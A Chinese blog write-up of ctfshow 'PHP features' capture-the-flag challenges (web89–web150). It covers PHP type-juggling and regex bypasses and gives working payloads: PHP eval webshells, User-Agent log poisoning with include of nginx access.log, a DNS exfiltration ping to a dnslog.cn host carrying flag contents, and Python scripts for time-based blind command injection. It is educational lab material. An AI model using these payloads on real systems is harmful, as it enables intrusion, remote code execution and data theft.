ctfshow-php特性


web89

  • intval():返回值
>=1 ----->true\a[]\int(数字)\ array('tom','bob')
  • Payload:
?num[]=1

image-20210713093321157

web90

  • 看php.net

interval()函数第二个参数为0时,转换的时候需要根据value的形式,如果以0开头,认为value是8进制,如果以0x开头,value是16进制

image-20210713094330945

web91

  • preg_match('/^php$/im', $a)匹配$a的php而且php应该是多行的情况比如"abc\nphp",如果只是php也会匹配成功但如果是abcphp不会匹配成功。

官网解释链接

image-20210713133751883

payload:

aaa%0aphp
  1. 第一次多行匹配可以匹配到php
  2. 第二次只匹配字符串首尾,无法匹配成功

web92

  • 同90

web93

  • 八进制绕过

web94

  • 小数绕过

web95

  • strpos查找字符串首次出现的位置,从0开始
  • 八进制绕过的时候需要在前面加一位

image-20210713143152054

web96

  • php伪协议读取

web97

  • 用数组绕过

Md5()函数接受的是字符串,但是传入数组的时候不会报错,只不过是不会执行转换,导致,任意两个数组的值相等

  • 要求值不相等
a[]=1&&b[]=2

web98

  • 三目运算符的理解

GET和POST同时传参数

HTTP_FLAG=flag

web99

  • 根据题意,由于循环次数较多,循环数次数最多的最可能存在,也就是最开始的1-36存在的概率较大
  • 利用1-36中的任意数字,写文件,in_array(string,array[])弱检测,只关注数组中是否存在字符,不关心是否完全一样
?n=1.php
content = <?php eval($_POST[1]);?>

web100

  1. 直接查看变量

image-20210713182241778

  1. 写入代码,包含命令
v2=eval($_POST[1])?> //不允许存在;,则用?>与后面的语句分割

根据提示flagctfshow中,查看ctfshow的代码

1=highlight_file("/var/www/html/ctfshow.php");

web101

v1=1&v2=echo new Reflectionclass&v3=;

Reflectionclass:根据字符串动态创建类

web102

特殊字符串:

<?= `cat *`;   base64编码后转换为二进制:

PD89YGNhdCAqYDs

5044383959474e6864434171594473

hex2bin:

将16进制转换为字符串
  • 由于之前将语句进行了base64编码,那么file_put_contents的时候,就需要base64解码

利用伪协议在写入语句的时候进行base64解码

php://filter/write=convert.base64-decode/resource=1.php

image-20210713192357776

Web103

  • 同上

web104

  • 类似于绕过md5()

数组绕过:

image-20210713200920502

web105

两个$是覆盖赋值

解决办法:

image-20210713220846462

不可能知道flag是啥,就直接通过传参的方式令error=flag,这样结束的时候输出flag

r绕过get:
suces=flag
绕过POST:
error=suces

这种方式使得$suces$error$flag全部相同。。

一旦die,就会输出$flag

web106

  • 数组绕过,值不相等

image-20210713221826337

web107

  • 控制md5值为0,几个特殊的字符串md5值均以0e开头,也就是均为0
* md5值以0e开头
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
* md5和双md5都是以0e开头
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

  特殊的md字符串
ffifdyop   md5(ffifdyop)转换为字符串后是 'or '6

image-20210713223142249

Web108

  • ereg函数存在%00截断,可以绕过正则

image-20210713232742573

  • strrev函数:将给定的字符串反转,

需要将给定的0x36d转换成十进制,再反转

image-20210713233609225

web109

第一种方式

  • 根据new知道,后面要加一个类,,并且这个类还要接受一条语句,默认本就有的类ExceptionException是所有异常的基类
Exception {
/* 属性 */
protected string $message;
protected int $code;
protected string $file;
protected int $line;
/* 方法 */
public __construct(string $message = "", int $code = 0, Throwable $previous = null)
final public getMessage(): string
final public getPrevious(): Throwable
final public getCode(): mixed
final public getFile(): string
final public getLine(): int
final public getTrace(): array
final public getTraceAsString(): string
public __toString(): string
final private __clone(): void
}
  • 可知,这个类的构造函数要求一条信息(语句)会自动执行__construct,__toString__clone
<?php
    try{
        $err = '抛出异常信息,并跳出 try 语句块';
        if(is_dir('./test')){
            echo '这里是一些可能会发生异常的代码';
        }else{
            throw new Exception($err, 12345);   // 抛出异常
        }
        echo '上面抛出异常的话,这行代码将不会执行,转而执行 catch 中的代码。<br>';
    }catch(Exception $e){
        echo '捕获异常:'.$e->getMessage().'<br>错误代码:'.$e->getCode().'<br>';
    }
    echo '继续执行 try catch 语句之外的代码';
?>
捕获异常:抛出异常信息,并跳出 try 语句块
错误代码:12345
继续执行 try catch 语句之外的代码

Exception会输出第一个参数,也可以执行,之后转换为字符串输出

v1=Exception&v2=system('tac fl36dg.txt')

image-20210714082836558

**注意:**可以先根据ls命令查看flag文件

第二种方式

Reflectionclass函数根据字符串动态返回一个类

image-20210714083620224

  • 抛出错误的时候会执行Exception基类的__tostring方法,将错误转换成字符串

web110

  • 只能使用字母,尝试去找含有__tostring能够遍历目录的类

The FilesystemIterator class

  • 继承的父类及其方法:

image-20210714091037474

  • 由于返回的只是文件名不是字符串,不能使用,类似的还有getPathname….

另一个方法getcwd返回第一个文件名作为字符串

image-20210714092618262

  • 访问文件

web111

  • v1是用来输出,v2用来覆盖v1的值

根据题目要求,我们需要使得v1的值为flag,由于在函数内部,我们需要外部的flag值通过传进函数内部

?v1=ctfshow&v2=GLOBALS 

image-20210714111212290

Web112

image-20210714095407285

  • 这两个函数都支持伪协议,不让过滤就不过滤直接读取

web113

image-20210714101342704

  • 查看官方文档寻找可以使用的php伪协议

web114

  • 没有过滤filter协议

web115

image-20210714105015214

  • trim():去掉字符串的首尾空格

image-20210714105127431

web123

  • POST传参数\.\[会被转化成_不过只转换一次

  • 直接输出flag

image-20210714112131691

web125

  • extract
接受一个数组,并把键名当作变量名,把值当作对应变量的值
<?php
  $size = "large";
  $var_array = array("color" => "blue",
                    "size" => "medium",              
                    "shape" => "sphere");
extract($var_array,EXT_PREFIX_SAME,"wddx");

echo "$color,$size,$shape,$wddx_size\n";
  
?>

image-20210714143238714

image-20210714144312454

web126

  • parse_str

image-20210714145830983

image-20210714151225225

官方文档

argv——–》泛指参数,如果提交多个参数,则表示为数组

?a=1+fl0g=flag_give_me

image-20210714150456454

  • 此时$a为一个数组
$a[0]=1

$a[1]=fl0g=flag_give_me
  • 利用parse_str解析字符串成当前作用域的变量
parse_str($a[1])------------> $fl0g = "flag_give_me"

image-20210714173725913

web127

$_GET方式空格可以代替_

image-20210714194822504

web128

  • 要求函数名,不能包含字母数字
<?php
// Set language to German
putenv('LC_ALL=de_DE');
setlocale(LC_ALL, 'de_DE');

// Specify location of translation tables
bindtextdomain("myPHPApp", "./locale");

// Choose domain
textdomain("myPHPApp");

// Translation is looking for in ./locale/de_DE/LC_MESSAGES/myPHPApp.mo now

// Print a test message
echo gettext("Welcome to My PHP Application");

// Or use the alias _() for gettext()
echo _("Have a nice day");
?>

image-20210714220959755

gettext()可以被_代替

这个函数的作用相当于输出字符串,在这里作为第二个回调函数,可以想能够不接受参数的函数

  • get_defined_vars //得到当前作用域的所有变量

image-20210714223244732

web129

目录穿越

  • ```php
    /ctfshow/../../../../var/www/html/flag.php
    
      
    
    ## web130
    
    ![image-20210714230603815](http://echo-machile.img-cn-beijing.aliyuncs.com/blog/2021-09-01-031848.jpg)
    
    重点在理解正则:第一个if匹配的是`任何字符+ctfshow`直接用`ctfshow`绕过
    
    
    
    ## web131
    
    * 题目环境:
    
    ```php
    <?php 
    
    /* 
    # -*- coding: utf-8 -*- 
    # @Author: h1xa 
    # @Date:   2020-10-13 11:25:09 
    # @Last Modified by:   h1xa 
    # @Last Modified time: 2020-10-13 05:19:40 
    
    */ 
    
    
    error_reporting(0); 
    highlight_file(__FILE__); 
    include("flag.php"); 
    if(isset($_POST['f'])){ 
        $f = (String)$_POST['f']; 
    
        if(preg_match('/.+?ctfshow/is', $f)){ 
            die('bye!'); 
        } 
        if(stripos($f,'36Dctfshow') === FALSE){ 
            die('bye!!'); 
        } 
    
        echo $flag; 
    
    } 
    

正则回溯会收到配置限制,要匹配的字符串超过一定的长度之后就不再匹配

  • 正则回溯

在非贪婪匹配的情况下.+*?遇到可匹配可不匹配的字符先不匹配,交给之后的字符匹配,若未匹配成功,则返回由自己匹配,每一次提交返回称为一次回溯

如果回溯次数过多,停止回溯,不对后面的字符进行匹配

<?php str_repeat('very','250000').'36Dctfshow';?> //一般保证前面的字符串>1000000个字符

小脚本

import requests

url = "http://39c7e2e9-2a58-4f22-9855-77dba8f58989.challenge.ctf.show:8080/"

abs = 1000000
aps = 100000
while True:
    middle = int((abs+aps)/2)
    payload = 'very' * middle +'36Dctfshow'
    data = {
        'f':payload
    }
    s = requests.post(url,data=data)
    if 'ctfshow{' in s.text:
        print(s.text)
        break
    elif 'Too Large' in s.text:
        abs = middle
    elif 'bye' in s.text:
        aps = middle

we b132

逻辑运算

image-20210715103326463

web133

dns数据外带,访问dns.log

F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.ywukah.dnslog.cn -c 1

![image-20210715112031402](http://echo-machile.img-cn-beijing.aliyuncs.com/blog/2021-09-01-031851.jpg)

![image-20210715111946748](http://echo-machile.img-cn-beijing.aliyuncs.com/blog/2021-09-01-031853.jpg)

DNS外带原理:

```mak
攻击者把自己的payload带上域名,那么数据库或者命令行在执行语句的时候,会将返回结果与域名拼接起来,这样查看域名商(dns.log)的ns记录就能看到查询的结果

这种方式适合一些,存在注入攻击,但无法看到回显的情况

web134

parse_str:

parse_str($_SERVER['QUERY_STRING'])---->接受url的get方式传来的参数
以GET方式传过来的值进行解析:
?a=b&c=d 会被解析成
$a=b $c=d

extract():

对接受的数组转变为变量
<?php
a = array(
		'abab'=>'abcd'
);
extract(a)
echo $abab //abcd
  • 根据题意,可以构造
* url传参:

?_POST[key1]=36d&_POST[key2]=36d

* parse_str($_SERVER['QUERY_STRING'])解析

$_POST[key1]=36d&$_POST[key2]=36d //不再需要POST传参

* extract($_POST)解析:

$key1=36d
$key2=36d

web135

dns外带

image-20210715145810799

nl命令查看文件,awk过滤行数找到flag的具体位置,tr -cd 匹配flag

web136

shell命令tee:

ls | tee 1.txt           //将ls的执行结果保存到1.txt中(覆盖)
ls | tee -a 1.txt        //将执行结果追加到1.txt
lstee 1.txt 2.txt    //将执行结果同时保存在1.txt和2.txt

>不同的是tee重定向之后会在终端显示结果

Payload:

ls / | tee 1
访问1
cat /f149_15_h3r3 | tee 2  //根目录

web137

image-20210715153307971

Static方法不需要对象即可调用,调用方式class::function

web138

Call_user_func函数的多种用法:

  1. 基本用法:
* 直接收一个基本参数
<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>
  1. 接受命名空间
<?php

namespace Foobar;

class Foo {
    static public function test() {
        print "Hello world!\n";
    }
}

call_user_func(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0只有一个参数调用命名空间某个类的静态函数
call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); // As of PHP 5.3.0,第一个参数是命名空间下的某一个类,第二个参数是该类的金泰函数

?>
  1. 无命名空间的情况
<?php

class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));//接受一个数组,两个值分别是类和静态函数
call_user_func($classname .'::say_hello'); // As of 5.2.3 //不用数组形式,也可以接受类和静态函数

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello')); //接受一个对象,以及调用静态函数

?>

总结:

Call_user_func函数:除了可以调用普通函数之外,也可以调用类中的静态函数,如果以数组形式传参,则不需要::

image-20210715161125043

  • 这道题是第3种情况

web139

  • awk命令:按分隔符输出文本
  1. 用法1
awk '{[pattern] action}' {filenames}   # 行匹配语句 awk '' 只能用单引号

 每行按空格或TAB分割,输出文本中的1、4项
 $ awk '{print $1,$4}' log.txt
 ---------------------------------------------
 2 a
 3 like
 This's
 10 orange,apple,mongo
 # 格式化输出
 $ awk '{printf "%-8s %-10s\n",$1,$4}' log.txt
 ---------------------------------------------
 2        a
 3        like
 This's
 10       orange,apple,mongo

image-20210715171559817

  1. 用法2:
awk -F  #-F相当于内置变量FS, 指定分割字符

 awk -F, '{print $1,$2}'   log.txt
 ---------------------------------------------
 2 this is a test
 3 Are you like awk
 This's a test
 10 There are orange apple
 # 或者使用内建变量
 $ awk 'BEGIN{FS=","} {print $1,$2}'     log.txt
 ---------------------------------------------
 2 this is a test
 3 Are you like awk
 This's a test
 10 There are orange apple
 # 使用多个分隔符.先使用空格分割,然后对分割结果再使用","分割
 $ awk -F '[ ,]'  '{print $1,$2,$5}'   log.txt
 ---------------------------------------------
 2 this test
 3 Are awk
 This's a
 10 There apple
  1. 用法3
awk -v  # 设置变量

$ awk -va=1 '{print $1,$1+a}' log.txt
 ---------------------------------------------
 2 3
 3 4
 This's 1
 10 11
 $ awk -va=1 -vb=s '{print $1,$1+a,$1b}' log.txt
 ---------------------------------------------
 2 3 2s
 3 4 3s
 This's 1 This'ss
 10 11 10s

image-20210715172134933

awk教程

image-20210715173759499

  • cut命令:显示每行从开头算起 num1 到 num2 的文字。

参数:

  • -b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
  • -c :以字符为单位进行分割。
  • -d :自定义分隔符,默认为制表符。
  • -f :与-d一起使用,指定显示哪个区域。
  • -n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
    范围之内,该字符将被写出;否则,该字符将被排除

跑脚本:

import requests
import time
import string
str=string.ascii_letters+string.digits+"-"+"_"
print(str)
result=""
for i in range(1,7):
    key=0
    for j in range(1,15):
        if key==1:
            break
        for n in str:
            payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 5;fi".format(i,j,n)
            #print(payload)
            url="http://a9339791-ab7b-45fe-806e-b73bce5056b1.challenge.ctf.show:8080/?c="+payload
            try:
                requests.get(url,timeout=(4,4))
            except:
                result=result+n
                print(result)
                break
            if n=='9':
                key=1
                result+=" "
  • 这个可以知道flag文件在第几行(由于网络原因可能跑不出完整的文件名)
import requests
import time
import string
str=string.ascii_letters+string.digits+"-"+"_"
print(str)
result=""
key = 0
for j in range(1,15):
    for n in str:
        payload="if [ `ls /|awk 'NR==4'|cut -c {0}` == {1} ];then sleep 4;fi".format(j,n)
        #print(payload)
        url="http://a9339791-ab7b-45fe-806e-b73bce5056b1.challenge.ctf.show:8080/?c="+payload
        try:
            requests.get(url,timeout=(2.5,2.5))
        except:
            result=result+n
            print(result)
            break
        if n=='9':
            result+=" "
  • 这个可以的到第4行的flag文件的名称
import requests
import time
import string
str=string.ascii_letters+string.digits+"-"+"_"+"{"+"}"
print(str)
result=""
for j in range(1,50):
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 5;fi".format(j,n)
        #print(payload)
        url="http://a9339791-ab7b-45fe-806e-b73bce5056b1.challenge.ctf.show:8080/?c="+payload
        try:
            requests.get(url,timeout=(4,4))
        except:
            result=result+n
            print(result)
            break
  • 跑出flag

web140

  • 本地测试

image-20210715184648474

image-20210715184721775

  • 所以只需要不给$code赋值,或者延迟赋值就可达到目的
usleep //延迟执行函数

image-20210715184833902

web141

image-20210715193711491

web147

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}
  • create_function($a,$b):

$a为参数$b为函数内容,构建新的函数,返回函数的名称

相当于

create_function($a,$b)
====>
function f($a){
		$b;
}
  • 如果$b中出现}就会导致函数闭合,从而可以执行我们输入的新函数echo 123;}system(tac f*);//
create_function($a,echo 123;}system(tac f*);//)
====>
function f($a){
		echo 123;}
		system(tac f*);//  
}  //这个括号被前边的'//'注释
  • 根据正则,是要检测函数收尾存在一个字符能绕过正则,并且不影响函数的执行

image-20210715211910807

%5c是\,函数在命名空间下,真正的形式是\函数名表示当前命名空间的函数,绕过正则

image-20210715213732124

可显示字符[编辑]

二进制 十进制 十六进制 图形
0010 0000 32 20 (space)
0010 0001 33 21 !
0010 0010 34 22
0010 0011 35 23 #
0010 0100 36 24 $
0010 0101 37 25 %
0010 0110 38 26 &
0010 0111 39 27
0010 1000 40 28 (
0010 1001 41 29 )
0010 1010 42 2A *
0010 1011 43 2B +
0010 1100 44 2C ,
0010 1101 45 2D -
0010 1110 46 2E .
0010 1111 47 2F /
0011 0000 48 30 0
0011 0001 49 31 1
0011 0010 50 32 2
0011 0011 51 33 3
0011 0100 52 34 4
0011 0101 53 35 5
0011 0110 54 36 6
0011 0111 55 37 7
0011 1000 56 38 8
0011 1001 57 39 9
0011 1010 58 3A :
0011 1011 59 3B ;
0011 1100 60 3C <
0011 1101 61 3D =
0011 1110 62 3E >
0011 1111 63 3F ?
二进制 十进制 十六进制 图形
0100 0000 64 40 @
0100 0001 65 41 A
0100 0010 66 42 B
0100 0011 67 43 C
0100 0100 68 44 D
0100 0101 69 45 E
0100 0110 70 46 F
0100 0111 71 47 G
0100 1000 72 48 H
0100 1001 73 49 I
0100 1010 74 4A J
0100 1011 75 4B K
0100 1100 76 4C L
0100 1101 77 4D M
0100 1110 78 4E N
0100 1111 79 4F O
0101 0000 80 50 P
0101 0001 81 51 Q
0101 0010 82 52 R
0101 0011 83 53 S
0101 0100 84 54 T
0101 0101 85 55 U
0101 0110 86 56 V
0101 0111 87 57 W
0101 1000 88 58 X
0101 1001 89 59 Y
0101 1010 90 5A Z
0101 1011 91 5B [
0101 1100 92 5C [](https://zh.wikipedia.org/wiki/反斜线)
0101 1101 93 5D []](https://zh.wikipedia.org/wiki/括號)
0101 1110 94 5E ^
0101 1111 95 5F _
二进制 十进制 十六进制 图形
0110 0000 96 60 [`](https://zh.wikipedia.org/wiki/重音符)
0110 0001 97 61 a
0110 0010 98 62 b
0110 0011 99 63 c
0110 0100 100 64 d
0110 0101 101 65 e
0110 0110 102 66 f
0110 0111 103 67 g
0110 1000 104 68 h
0110 1001 105 69 i
0110 1010 106 6A j
0110 1011 107 6B k
0110 1100 108 6C l
0110 1101 109 6D m
0110 1110 110 6E n
0110 1111 111 6F o
0111 0000 112 70 p
0111 0001 113 71 q
0111 0010 114 72 r
0111 0011 115 73 s
0111 0100 116 74 t
0111 0101 117 75 u
0111 0110 118 76 v
0111 0111 119 77 w
0111 1000 120 78 x
0111 1001 121 79 y
0111 1010 122 7A z
0111 1011 123 7B {
0111 1100 124 7C |
0111 1101 125 7D }
0111 1110 126 7E ~

不可见字符

二进制 十进制 十六进制 缩写 Unicode 表示法 脱出字符 表示法 名称/意义
0000 0000 0 00 NUL ^@ 空字符(Null)
0000 0001 1 01 SOH ^A 标题开始
0000 0010 2 02 STX ^B 本文开始
0000 0011 3 03 ETX ^C 本文结束
0000 0100 4 04 EOT ^D 传输结束
0000 0101 5 05 ENQ ^E 请求
0000 0110 6 06 ACK ^F 确认回应
0000 0111 7 07 BEL ^G 响铃
0000 1000 8 08 BS ^H 退格
0000 1001 9 09 HT ^I 水平定位符号
0000 1010 10 0A LF ^J 换行键
0000 1011 11 0B VT ^K 垂直定位符号
0000 1100 12 0C FF ^L 换页键
0000 1101 13 0D CR ^M CR (字符)
0000 1110 14 0E SO ^N 取消变换(Shift out)
0000 1111 15 0F SI ^O 启用变换(Shift in)
0001 0000 16 10 DLE ^P 跳出数据通讯
0001 0001 17 11 DC1 ^Q 设备控制一(XON 激活软件速度控制
0001 0010 18 12 DC2 ^R 设备控制
0001 0011 19 13 DC3 ^S 设备控制三(XOFF 停用软件速度控制
0001 0100 20 14 DC4 ^T 设备控制
0001 0101 21 15 NAK ^U 确认失败回应
0001 0110 22 16 SYN ^V 同步用暂停
0001 0111 23 17 ETB ^W 区块传输结束
0001 1000 24 18 CAN ^X 取消
0001 1001 25 19 EM ^Y 连线介质中断
0001 1010 26 1A SUB ^Z 替换
0001 1011 27 1B ESC ^[ 退出键
0001 1100 28 1C FS ^\ 文件分割符
0001 1101 29 1D GS ^] 组群分隔符
0001 1110 30 1E RS ^^ 记录分隔符
0001 1111 31 1F US ^_ 单元分隔符
0111 1111 127 7F DEL ^? Delete字符

web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
  • 直接在index.php写入一句话<?php eval($_GET[1]);?>

  • 列根目录,看flag

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
php$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}
  • 日志文件包含
先用
  User-Agent
  放置一句话包含请求
  <?=eval($_POST[1]);?>
  • Include(ctf)包含日志:
ctf=/var/log/nginx/access.log&1=system('tac flag.php');

image-20210715231037894


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录